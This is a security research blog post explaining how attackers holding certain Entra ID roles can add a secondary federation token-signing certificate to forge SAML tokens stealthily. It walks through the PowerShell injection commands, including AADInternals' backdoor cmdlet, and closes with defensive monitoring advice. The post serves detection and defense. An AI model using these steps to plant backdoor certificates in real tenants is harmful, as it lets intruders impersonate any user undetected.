Exploiting Entra ID for Stealthier Persistence and Privilege Escalation using the Federated Authentication’s Secondary Token-signing Certificate
Summary
Microsoft Entra ID (formerly known as Azure AD) offers a feature called federation that allows you to delegate authentication to another Identity Provider (IdP), such as AD FS with on-prem Active Directory. When users log in, they will be redirected to the external IdP for authentication, before being redirected back to Entra ID who will then verify the successful authentication on the external IdP and the user’s identity. This trust is based on the user returning with a token that is signed by the external IdP so that Entra ID can verify that it was legitimately obtained (i.e. not forged) and that its content is correct (i.e. not tampered with) 🔐
The external IdP signs the token with a private key, which has an associated public key stored in a certificate. To make this work, you need to configure this certificate in Microsoft Entra ID, along with other configuration for the federated domain. It accepts two token-signing certificates in the configuration of a federated domain, and both are equally accepted as token signers! 💥 This is by design to allow for automatic certificate renewal near its expiry. However, it’s important to note that this second token-signing certificate may be overlooked by defenders and their security tools! 👀
In this post, I’ll show you where this certificate can be found and how attackers can add it (given the necessary privileges) and use it to forge malicious tokens. Finally, I will provide some recommendations for defense in light of this.
This was discovered by Tenable Research while working on identity security.
Federation?
To learn more about federation and how attackers can exploit it to maintain or increase their privileges in an Entra tenant, please read my previous article ➡️ “Roles Allowing To Abuse Entra ID Federation for Persistence and Privilege Escalation”. Note that in this article I described that a malicious or compromised user, who is assigned any of the following built-in Entra roles (as of January 2024), has the power to change federation settings, including both token-signing certificates:
- Global Administrator
- Security Administrator
- Hybrid Identity Administrator
- External Identity Provider Administrator
- Domain Name Administrator
- Partner Tier2 Support
If the attacker gets their hands on a SAML token-signing certificate, for example by adding their own to the configuration as described in this post, they can forge arbitrary tokens that allow them to authenticate as anyone.
The corresponding MITRE ATT&CK techniques are:
- T1484.002 “Domain Policy Modification: Domain Trust Modification” for the initial operation where the attacker adds a secondary token-signing certificate
- T1606.002 “Forge Web Credentials: SAML Tokens” for the subsequent operation where the attacker forges a SAML token with the private key of the previously injected secondary token-signing certificate, before presenting the token to Entra ID as a fake proof of identity
Previous work
The technique of abusing federation was described by Mandiant in Remediation and hardening strategies for Microsoft 365 to defend against UNC2452 (2021):
The threat actor must first compromise an account with permission to modify or create federated realm objects.
These mentioned permissions are given by the roles previously listed. The main way is to modify the current token-signing certificate, stored in the “signingCertificate” attribute of the federation configuration. But this has the disadvantage of temporarily breaking the authentication and thus making the attack somewhat visible.
In the same (2021) paper, Mandiant also described a variant, where the attacker adds a secondary token-signing certificate instead of changing the main one:
A threat actor could also modify the federation settings for an existing domain by configuring a new, secondary, token-signing certificate. This would allow for an attack (similar to Golden SAML) where the threat actor controls a private key that can digitally sign SAML tokens and is trusted by Azure AD.
So while this article will not unveil anything new 😔, it does aim to shed more light on this lesser-known issue 😉
Interest for attackers
Do you wonder how this secondary token-signing certificate can be useful for attackers, and why should you care?
The first interest is that mature cyber organizations and security tools are already scanning and monitoring the primary token-signing certificate. So attackers may leverage this lesser-known secondary token-signing certificate for a stealthier attack.
Moreover, if an attacker replaces the normal primary token-signing certificate with their own, they will (temporarily) disrupt the authentication for regular users, which is not discreet! Using the secondary certificate instead does not have this breaking side effect and thus is stealthier. An alternative would be to register a new federated domain, but this rarely happens normally, so it might also raise alarms.
I believe this technique will become even more popular among attackers now that the latest version of AADInternals by Dr. Nestori Syynimaa, 0.9.3 published in January 2024, will automatically inject the backdoor certificate as a secondary token-signing certificate in case the domain is already federated:
Modified ConvertTo‑AADIntBackdoor to add backdoor certificate to NextSigningCertificate if the domain is already federated.
With this new knowledge we also understand why Microsoft recommends in their “Emergency rotation of the AD FS certificates” article to renew the token-signing certificate twice because:
You’re creating two certificates because Microsoft Entra ID holds on to information about the previous certificate. By creating a second one, you’re forcing Microsoft Entra ID to release information about the old certificate and replace it with information about the second one. If you don’t create the second certificate and update Microsoft Entra ID with it, it might be possible for the old token-signing certificate to authenticate users.
If you are an AD security veteran, it certainly reminds you of something, and you are right 😉 Such a Golden SAML attack against cloud Entra ID is similar to the famous Golden Ticket attack against on-prem AD, and it’s interesting to see the same remediation guidance, which is to renew twice the token-signing certificate/krbtgt respectively, and it’s for the same reason!
Attribute/argument to manage the secondary token-signing certificate
As described in my previous article, there are several APIs available to interact with Entra ID. In the following we will see how a secondary token-signing certificate can be injected using the 🟥 Provisioning API / MSOnline (MSOL, which will be deprecated this year (2024) ⚠️), then using the 🟩 Microsoft Graph API / Microsoft Graph PowerShell SDK. The colored squares 🟥🟩 are the same as in my previous article and they allow to visually distinguish both APIs.
When using the 🟩 MS Graph API, the configuration of a federated domain is returned as an internalDomainFederation object. The main certificate is in the signingCertificate attribute, and the second token-signing certificate is in the nextSigningCertificate attribute which is described as:
Fallback token signing certificate that can also be used to sign tokens, for example when the primary signing certificate expires. […] Much like the signingCertificate, the nextSigningCertificate property is used if a rollover is required outside of the auto-rollover update, a new federation service is being set up, or if the new token signing certificate isn’t present in the federation properties after the federation service certificate has been updated.
I helped Microsoft improve this description a little because the initial one, in my opinion, could be understood as if the second certificate were only usable during a rollover operation, whereas it can be used at any time simultaneously like the main certificate! I contacted MSRC first and they confirmed that it was working as intended.
When using the 🟥 Provisioning API (MSOnline), you can find arguments with the same names: -SigningCertificate and -NextSigningCertificate (proof that this secondary token-signing certificate has been here for a long time, i.e. it was not introduced recently with the MS Graph API).
Generate certificates
In the following examples, we will need two token-signing certificates that you can generate using these PowerShell commands:
$certStoreLocation = "cert:\CurrentUser\My"
$primary = New-SelfSignedCertificate -Subject "primary token-signing certificate" -CertStoreLocation $certStoreLocation -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter (Get-Date).AddDays(1)
$primary_certificate = [System.Convert]::ToBase64String($primary.GetRawCertData())
Get-ChildItem $($certStoreLocation + "\" + $primary.Thumbprint) | Remove-Item
$secondary = New-SelfSignedCertificate -Subject "secondary token-signing certificate" -CertStoreLocation $certStoreLocation -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter (Get-Date).AddDays(1)
$secondary_certificate = [System.Convert]::ToBase64String($secondary.GetRawCertData())
Get-ChildItem $($certStoreLocation + "\" + $secondary.Thumbprint) | Remove-Item
They delete the generated certificates because we only need their public part and not the private key for the demonstrations below, but of course, an attacker would keep the private key since it’s required to then generate forged tokens.
Convert a domain to federated including a secondary token-signing certificate
For each example below, the prerequisite is having a verified domain, but not yet converted to federated, and our goal is to convert it to federated with two certificates ⤵️
🟥 Provisioning API: using Set-MsolDomainAuthentication
Using Set-MsolDomainAuthentication:
Set-MsolDomainAuthentication `
-DomainName $domain `
-Authentication Federated `
-SigningCertificate $primary_cert `
-NextSigningCertificate $secondary_cert `
-IssuerUri "https://example.com/$('{0:X}' -f (Get-Date).GetHashCode())" -LogOffUri "https://example.com/logoff" -PassiveLogOnUri "https://example.com/logon"
And we can check that we do indeed see both certificates:
PS> Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List
SigningCertificate : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate : MIIDNjC[...]KQEixdg==
🟩 MS Graph API: using New-MgDomainFederationConfiguration
Using New-MgDomainFederationConfiguration:
New-MgDomainFederationConfiguration `
-DomainId $domain `
-FederatedIdpMfaBehavior "acceptIfMfaDoneByFederatedIdp" `
-SigningCertificate $primary_cert `
-NextSigningCertificate $secondary_cert `
-IssuerUri "https://example.com/$('{0:X}' -f (Get-Date).GetHashCode())" -SignOutUri "https://example.net/something" -PassiveSignInUri "https://example.net/something"
And we can check that we do indeed see both certificates:
PS> Get-MgDomainFederationConfiguration -DomainId $domain | select SigningCertificate,NextSigningCertificate | Format-List
SigningCertificate : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate : MIIDNjC[...]KQEixdg==
Add a secondary token-signing certificate to an existing federated domain
For each example below, the prerequisite is having an already federated domain, but with just a primary token-signing certificate, and our goal is to add a secondary one ⤵️
🟥 Provisioning API: using Set-MsolDomainFederationSettings
First, check that it’s indeed a federated domain with just a primary token-signing certificate:
PS> Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List
SigningCertificate : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate :
Then, add a secondary certificate using Set-MsolDomainFederationSettings:
Set-MsolDomainFederationSettings `
-DomainName $domain `
-NextSigningCertificate $secondary_cert
Finally, we can check now that we do indeed see both certificates:
PS> Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List
SigningCertificate : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate : MIIDNjC[...]KQEixdg==
🟥 Provisioning API: using AADInternals’ ConvertTo-AADIntBackdoor
Ensure we have the latest version of AADInternals (>= v0.9.3):
PS> Import-Module AADInternals
[...]
v0.9.3 by @DrAzureAD (Nestori Syynimaa)
Using ConvertTo-AADIntBackdoor:
ConvertTo-AADIntBackdoor `
-DomainName $domain `
-AccessToken $at `
-Verbose
The verbose output is clear enough:
VERBOSE: Domain example.net is Federated, modifying NextTokenSigningCertificate
And we can check again that we do indeed see both certificates:
PS> Get-MsolDomainFederationSettings -DomainName $domain | select SigningCertificate,NextSigningCertificate | Format-List
SigningCertificate : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate : MIIDNjC[...]KQEixdg==
🟩 MS Graph API: using Update-MgDomainFederationConfiguration
Using Update-MgDomainFederationConfiguration:
$fedconf = Get-MgDomainFederationConfiguration -DomainId $domain
Update-MgDomainFederationConfiguration `
-DomainId $domain `
-InternalDomainFederationId $fedconf.Id `
-NextSigningCertificate $secondary_cert
And we can check that we do indeed see both certificates:
PS> Get-MgDomainFederationConfiguration -DomainId $domain | select SigningCertificate,NextSigningCertificate | Format-List
SigningCertificate : MIIDMjC[...]pfgoXj3kI
NextSigningCertificate : MIIDNjC[...]KQEixdg==
Proof that both token-signing certificates work simultaneously
Since the beginning I’ve been telling you that both token-signing certificates are accepted as signers, even if the primary is not expired, but I owe you a proof after all! In the following example, I create two different certificates as described previously and extract their private keys. Then I convert the domain to federated with both token-signing certificates configured, which you can see in the output at the bottom. Finally, I successfully authenticate with a ticket forged with each token-signing certificate private key using Open-AADIntOffice365Portal (to make it work, I had to fix an unrelated bug brought in v.0.9.3 of AADInternals):
Recommendations for defense
The main recommendations are the same as in my previous article.
🤔 Be careful about assigning the Entra roles that allow changing federation configuration, thereby adding a secondary token-signing certificate:
- Global Administrator
- Security Administrator
- Hybrid Identity Administrator
- External Identity Provider Administrator
- Domain Name Administrator
- Partner Tier2 Support
🔍 Audit and monitor the configuration of your federated domain(s) to detect the potential already existing, or future, backdoors. Here is a PowerShell oneliner to list your federated domains and their configured SigningCertificate/NextSigningCertificate:
Get-MgDomain | Where-Object { $_.AuthenticationType -eq "Federated" } | ForEach-Object { $_ ; Get-MgDomainFederationConfiguration -DomainId $_.Id | select SigningCertificate,NextSigningCertificate }
🆘 Seek assistance from Incident Response specialists with expertise on Entra ID in case of suspicion
😑 Migrating away from federated authentication (i.e. decommissioning AD FS), has many advantages and is recommended by Microsoft, but it does not protect against this. It only makes it easier to detect it because any new “federated” domain, or any change in “federation” settings, should raise an alert 🚨
🚨 On the subject of monitoring, you can “Monitor changes to federation configuration in your Microsoft Entra ID” as recommended by Microsoft. Which is made easier if your organization doesn’t use (anymore) federation (as written above). But unfortunately the “Set federation settings on domain” AuditLogs event doesn’t contain the information allowing you to determine if the modification affected the token-signing certificates, and even if it did, there are no details on the certificates themselves as you can see:
🙈 Finally, since this secondary token-signing certificate can be a blind spot, ensure that your security tools can monitor and scan both certificates for anomalies. Tenable Identity Exposure has several Indicators of Exposure (IoEs) related to federation (“Known Federated Domain Backdoor”, “Federation Signing Certificates Mismatch”, and more to come!), and of course we designed them so they cover both certificates 😉